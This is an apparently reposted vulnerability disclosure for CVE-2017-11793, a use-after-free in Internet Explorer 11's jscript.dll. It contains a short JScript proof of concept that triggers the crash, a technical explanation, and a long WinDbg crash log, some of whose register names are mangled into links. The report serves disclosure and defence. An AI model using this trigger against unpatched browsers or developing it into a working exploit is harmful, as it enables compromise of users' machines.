Microsoft Internet Explorer 11 jscript!JSONStringifyObject Use-After-Free

`IE11: use-after-free in jscript!JSONStringifyObject   
  
CVE-2017-11793  
  
  
There is a use-after-free in jscript.dll library that can be exploited in IE11.  
  
PoC:  
  
=========================================  
  
<!-- saved from url=(0014)about:internet -->  
<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>  
<script language="Jscript.Encode">  
  
var o1 = {toJSON:function(){  
alert('o1');  
return [o2];  
}}  
  
var o2 = {toJSON:function(){  
alert('o2');  
CollectGarbage();  
return 'x';  
}}  
  
JSON.stringify(o1);  
  
</script>  
  
=========================================  
  
Technical details:   
  
JSONStringifyObject first calls JSONApplyFilters which calls an argument's toString method. However the return value of the toString method won't be on the garbage collector's root object list and thus can be freed during subsequent callbacks.  
  
Debug log:  
  
=========================================  
  
0:028> g  
(df8.e48): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
jscript!JSONStringifyArray+0x38f:  
000007fe`edbf9fb3 66214738 and word ptr [rdi+38h],ax ds:00000000`04518fc8=????  
  
0:014> r  
rax=000000000000fffb rbx=0000000000000000 rcx=0000000000000005  
rdx=0000000000000005 rsi=00000000129ca100 rdi=0000000004518f90  
rip=000007feedbf9fb3 rsp=00000000129c9f30 rbp=00000000129c9fa9  
<a href="https://crrev.com/8" title="" class="" rel="nofollow">r8</a>=0000000000000000 <a href="https://crrev.com/9" title="" class="" rel="nofollow">r9</a>=000000000405d670 <a href="https://crrev.com/10" title="" class="" rel="nofollow">r10</a>=0000000000000081  
<a href="https://crrev.com/11" title="" class="" rel="nofollow">r11</a>=00000000129c9f00 <a href="https://crrev.com/12" title="" class="" rel="nofollow">r12</a>=0000000000000001 <a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>=0000000000000001  
<a href="https://crrev.com/14" title="" class="" rel="nofollow">r14</a>=0000000000000000 <a href="https://crrev.com/15" title="" class="" rel="nofollow">r15</a>=00000000129ca1a8  
iopl=0 nv up ei pl nz na pe nc  
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202  
jscript!JSONStringifyArray+0x38f:  
000007fe`edbf9fb3 66214738 and word ptr [rdi+38h],ax ds:00000000`04518fc8=????  
  
0:014> k  
# Child-SP RetAddr Call Site  
00 00000000`129c9f30 000007fe`edbfa2cc jscript!JSONStringifyArray+0x38f  
01 00000000`129ca000 000007fe`edbfec94 jscript!JSONStringifyObject+0x2dc  
02 00000000`129ca0b0 000007fe`edb9c2ec jscript!JsJSONStringify+0x3e4  
03 00000000`129ca190 000007fe`edb9a9fe jscript!NatFncObj::Call+0x138  
04 00000000`129ca240 000007fe`edb9b234 jscript!NameTbl::InvokeInternal+0x3f8  
05 00000000`129ca360 000007fe`edb99852 jscript!VAR::InvokeByName+0x81c  
06 00000000`129ca570 000007fe`edb99929 jscript!VAR::InvokeDispName+0x72  
07 00000000`129ca5f0 000007fe`edb924b8 jscript!VAR::InvokeByDispID+0x1229  
08 00000000`129ca640 000007fe`edb98ec2 jscript!CScriptRuntime::Run+0x5a6  
09 00000000`129cb440 000007fe`edb98d2b jscript!ScrFncObj::CallWithFrameOnStack+0x162  
0a 00000000`129cb650 000007fe`edb98b95 jscript!ScrFncObj::Call+0xb7  
0b 00000000`129cb6f0 000007fe`edb9e6c0 jscript!CSession::Execute+0x19e  
0c 00000000`129cb7c0 000007fe`edba70e7 jscript!COleScript::ExecutePendingScripts+0x17a  
0d 00000000`129cb890 000007fe`edba68d6 jscript!COleScript::ParseScriptTextCore+0x267  
0e 00000000`129cb980 000007fe`ee2f5251 jscript!COleScript::ParseScriptText+0x56  
0f 00000000`129cb9e0 000007fe`eea7b320 MSHTML!CActiveScriptHolder::ParseScriptText+0xc1  
10 00000000`129cba60 000007fe`ee2f6256 MSHTML!CScriptCollection::ParseScriptText+0x37f  
11 00000000`129cbb40 000007fe`ee2f5c8e MSHTML!CScriptData::CommitCode+0x3d9  
12 00000000`129cbd10 000007fe`ee2f5a11 MSHTML!CScriptData::Execute+0x283  
13 00000000`129cbdd0 000007fe`eeab46fb MSHTML!CHtmScriptParseCtx::Execute+0x101  
14 00000000`129cbe10 000007fe`ee398a5b MSHTML!CHtmParseBase::Execute+0x235  
15 00000000`129cbeb0 000007fe`ee272e39 MSHTML!CHtmPost::Broadcast+0x90  
16 00000000`129cbef0 000007fe`ee2ccaef MSHTML!CHtmPost::Exec+0x4bb  
17 00000000`129cc100 000007fe`ee2cca40 MSHTML!CHtmPost::Run+0x3f  
18 00000000`129cc130 000007fe`ee2cda12 MSHTML!PostManExecute+0x70  
19 00000000`129cc1b0 000007fe`ee2d0843 MSHTML!PostManResume+0xa1  
1a 00000000`129cc1f0 000007fe`ee2b6fc7 MSHTML!CHtmPost::OnDwnChanCallback+0x43  
1b 00000000`129cc240 000007fe`eeae4f78 MSHTML!CDwnChan::OnMethodCall+0x41  
1c 00000000`129cc270 000007fe`ee1d9d75 MSHTML!GlobalWndOnMethodCall+0x240  
1d 00000000`129cc310 00000000`771f9bbd MSHTML!GlobalWndProc+0x150  
1e 00000000`129cc390 00000000`771f98c2 USER32!UserCallWinProcCheckWow+0x1ad  
1f 00000000`129cc450 000007fe`f2694a87 USER32!DispatchMessageWorker+0x3b5  
20 00000000`129cc4d0 000007fe`f269babb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555  
21 00000000`129cf750 000007fe`fe4c572f IEFRAME!LCIETab_ThreadProc+0x3a3  
22 00000000`129cf880 000007fe`efb2925f iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1f  
23 00000000`129cf8b0 00000000`772f59cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f  
24 00000000`129cf900 00000000`7742a561 kernel32!BaseThreadInitThunk+0xd  
25 00000000`129cf930 00000000`00000000 ntdll!RtlUserThreadStart+0x1d  
  
0:014> !heap -p -a 00000000`04518fc8  
address 0000000004518fc8 found in  
_DPH_HEAP_ROOT @ 3d31000  
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)  
3d49750: 4518000 2000  
000007feefb88726 verifier!AVrfDebugPageHeapFree+0x00000000000000a2  
00000000774c4255 ntdll!RtlDebugFreeHeap+0x0000000000000035  
000000007746797c ntdll! ?? ::FNODOBFM::`string'+0x000000000000e982  
000007fefd4b10c8 msvcrt!free+0x000000000000001c  
000007feedb9bad2 jscript!NativeErrorProtoObj<16>::`vector deleting destructor'+0x0000000000000022  
000007feedb9b938 jscript!NameTbl::SetMasterVariant+0x000000000000a240  
000007feedbb42cb jscript!GcAlloc::ReclaimGarbage+0x000000000000034d  
000007feedb919e2 jscript!GcContext::Reclaim+0x00000000000000ae  
000007feedba1956 jscript!GcContext::CollectCore+0x000000000000018b  
000007feedba17a5 jscript!GcContext::Collect+0x0000000000000025  
000007feedbe42f3 jscript!JsCollectGarbage+0x0000000000000023  
000007feedb9c2ec jscript!NatFncObj::Call+0x0000000000000138  
000007feedb9c199 jscript!NameTbl::InvokeInternal+0x0000000000000377  
000007feedb986ea jscript!VAR::InvokeByDispID+0xffffffffffffffea  
000007feedb924b8 jscript!CScriptRuntime::Run+0x00000000000005a6  
000007feedb98ec2 jscript!ScrFncObj::CallWithFrameOnStack+0x0000000000000162  
000007feedb98d2b jscript!ScrFncObj::Call+0x00000000000000b7  
000007feedbc2084 jscript!NameTbl::InvokeInternal+0x000000000000060f  
000007feedb986ea jscript!VAR::InvokeByDispID+0xffffffffffffffea  
000007feedbf8ee3 jscript!GCProtectKeyAndCall+0x000000000000009f  
000007feedbf97a6 jscript!JSONApplyFilters+0x000000000000014a  
000007feedbfa08b jscript!JSONStringifyObject+0x000000000000009b  
000007feedbf9e77 jscript!JSONStringifyArray+0x0000000000000253  
000007feedbfa2cc jscript!JSONStringifyObject+0x00000000000002dc  
000007feedbfec94 jscript!JsJSONStringify+0x00000000000003e4  
000007feedb9c2ec jscript!NatFncObj::Call+0x0000000000000138  
000007feedb9a9fe jscript!NameTbl::InvokeInternal+0x00000000000003f8  
000007feedb9b234 jscript!VAR::InvokeByName+0x000000000000081c  
000007feedb99852 jscript!VAR::InvokeDispName+0x0000000000000072  
000007feedb99929 jscript!VAR::InvokeByDispID+0x0000000000001229  
000007feedb924b8 jscript!CScriptRuntime::Run+0x00000000000005a6  
000007feedb98ec2 jscript!ScrFncObj::CallWithFrameOnStack+0x0000000000000162  
  
=========================================  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: ifratric  
  
`